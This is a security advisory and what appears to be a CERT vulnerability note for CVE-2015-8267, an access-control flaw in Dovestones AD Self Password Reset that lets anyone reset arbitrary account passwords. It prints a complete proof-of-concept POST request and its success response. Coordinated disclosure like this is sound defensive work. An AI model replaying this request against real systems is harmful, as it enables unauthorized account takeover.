Software AD Self Password Reset v3.0 by Dovestones Software contains a critical vulnerability in the password change functionality, that allows unauthenticated users to change the password of arbitrary accounts.
The vendor has been working with customers to upgrade them to a fixed version.
The /Reset/ChangePass
function doesn’t validate that the validation questions have been answered, or validate that the account in question is enrolled. This allows an attacker to reset any account that the service account is able to reset, even if they aren’t enrolled.
The PasswordReset.Controllers.ResetController.ChangePasswordIndex()
method in PasswordReset.dll
fails to properly validate the user, and performs the password reset on arbitrary accounts.
Sample:
POST /PasswordReset/Reset/ChangePass HTTP/1.1
Host: apps.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://example.com/PasswordReset/Reset
Content-Length: 162
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
command=Next&NewPassword=Password1&ConfirmPassword=Password1&HomeUrl=%2FPasswordReset&DomainName=example.com&Username=testuser&X-Requested-With=XMLHttpRequest
Successful response:
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 631
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.5
X-AspNetMvc-Version: 4.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
X-Powered-By: ARR/3.0
X-Powered-By: ASP.NET
Date: Sat, 17 Oct 2015 03:13:31 GMT
<form action="/PasswordReset/Reset?Length=5" data-ajax="true" data-ajax-failure="HandleError" data-ajax-method="POST" data-ajax-mode="replace" data-ajax-update="#content" data-ajax-url="/PasswordReset/Reset/Confirm" id="pr-reset-success" method="post"> <div class="field-wrapper">
<fieldset>
<span>Password Reset</span>
<div>
<label>Congratulations! Your password has been reset.</label>
</div>
<div>
<button type="submit" name="command">Finish</button>
</div>
</fieldset>
</div>
</form>
VU#757840 – Dovestones Software AD Self Password Reset fails to properly restrict password reset request to authorized users
CVE: CVE-2015-8267
KEYWORDS:
dovestones
access controlOVERVIEW
Dovestones Software AD Self Password Reset fails to properly validate users, which enables an unauthenticated attacker to reset passwords for arbitrary accounts.
DESCRIPTION
CWE-284: Improper Access Control – CVE-2015-8267
Dovestones Software AD Self Password Reset contains a vulnerable method PasswordReset.Controllers.ResetController.ChangePasswordIndex() in PasswordReset.dll that fails to validate the requesting user. An attacker can reset passwords for arbitrary accounts by manipulating web application requests that call the vulnerable method.
IMPACT
A remote, unauthenticated attacker can reset passwords for arbitrary accounts where usernames are known or can be guessed.
SOLUTION
Apply an update
The vendor has worked directly with customers to apply updates for this and other vulnerabilities. Users who have not received an update are encouraged to contact the vendor.
REFERENCES
http://www.dovestones.com/active-directory-password-reset/
https://cwe.mitre.org/data/definitions/284.htmlCREDIT
Thanks to Adam Caudill for reporting this vulnerability.
This document was written by Joel Land.
Special thanks to Dovestones for their quick response, and US CERT for their help in coordinating disclosure.